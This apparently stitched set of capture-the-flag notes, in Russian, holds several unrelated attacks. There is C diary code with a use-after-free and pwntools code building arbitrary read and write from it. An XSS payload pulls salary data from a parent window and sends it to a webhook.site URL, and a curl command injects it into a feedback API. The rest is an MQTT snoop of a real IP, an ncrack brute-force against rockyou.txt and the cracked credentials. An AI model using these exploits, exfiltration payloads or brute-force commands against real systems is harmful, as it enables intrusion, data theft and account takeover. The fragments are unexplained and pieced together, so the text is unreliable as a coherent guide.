/*
 * ♪ Удаляю записечку - прощай, старый секретик! ♪
 * Освобождаю память заклинанием free~
 */
void delete_entry(int page_number) {
    int entry_number;
    printf("Какую записечку стереть? ♪ ");
    scanf("%d", &entry_number);
  
    if (entry_number < 0 || entry_number >= 32) {
        puts("Нет такой записечки! ╮(╯_╰)╭");
        return;
    }

    if (Diary.pages[page_number]->entries[entry_number] == NULL) {
        puts("Тут и так ничего нет, глупышка~ (≧◡≦)");
        return;
    }

    free(Diary.pages[page_number]->entries[entry_number]->content);  /* Освобождаю память! */
    free(Diary.pages[page_number]->entries[entry_number]);
}

create_entry(io, 1, 0x10, b"x")
time.sleep(0.1)
delete_entry(io, 1)
time.sleep(0.1)
create_entry(io, 0, 0x10, b"x")

def arbitrary_read(addr: int) -> int:
    edit_entry(io, 0, p64(8) + p64(addr))
    time.sleep(0.1)
    res = u64(read_entry(io, 1)[:8])
    time.sleep(0.1)
    return res

def arbitrary_write(addr: int, data: bytes) -> int:
    edit_entry(io, 0, p64(len(data)) + p64(addr))
    time.sleep(0.1)
    edit_entry(io, 1, data)
    time.sleep(0.1)

<img src=x onerror="
  window.addEventListener('message', function(e) {
    if (e.data.type === 'SALARY_DATA') {
      fetch('https://WEBHOOK.site/ТВОЙ-UUID?flag=' + encodeURIComponent(JSON.stringify(e.data.payload)));
    }
  });
  parent.postMessage({ type: 'REQUEST_SALARY_DATA' }, '*');
">

<img src=x onerror="window.addEventListener('message',function(e){if(e.data.type==='SALARY_DATA')fetch('https://WEBHOOK?flag='+encodeURIComponent(JSON.stringify(e.data.payload)))});parent.postMessage({type:'REQUEST_SALARY_DATA'},'*');">

WEBHOOK="https://webhook.site/ТВОЙ-UUID"
PAYLOAD='<img src=x onerror="window.addEventListener(\'message\',function(e){if(e.data.type===\'SALARY_DATA\')fetch(\''"$WEBHOOK"'?flag=\'+encodeURIComponent(JSON.stringify(e.data.payload)))});parent.postMessage({type:\'REQUEST_SALARY_DATA\'},\'*\');">'
curl -X POST "http://feedback.duckerz.ru/api/feedback" \
  -H "Content-Type: application/json" \
  -d '{"category":"complaint","rating":1,"message":"'"$PAYLOAD"'"}'

mqtt://94.19.79.169:20012

Команда:mosquitto_sub -h 94.19.79.169 -p 20012 -t '#' -v

/sensors/humidity/data {"sensor": "humidity", "value": 28, "timestamp": 1770496341}
/sensors/pressure/data {"sensor": "pressure", "value": 20, "timestamp": 1770496342}
/sensors/humidity/data {"sensor": "humidity", "value": 22, "timestamp": 1770496348}
/announcements {"from": "Duck", "message": "duck_fan, where are you? quack!", "timestamp": 1770496349}
/sensors/pressure/data {"sensor": "pressure", "value": 27, "timestamp": 1770496349}
/sensors/humidity/data {"sensor": "humidity", "value": 22, "timestamp": 1770496353}
/sensors/pressure/data {"sensor": "pressure", "value": 30, "timestamp": 1770496378}
/announcements {"from": "Duck", "message": "i'm in /users/duck/secret", "timestamp": 1770496379}
/sensors/pressure/data {"sensor": "pressure", "value": 27, "timestamp": 1770496385}

ncrack mqtt://94.19.79.169:20012 -user duck_fan -P ./rockyou.txt -v

-u 'duck_fan' -P 'iloveyou'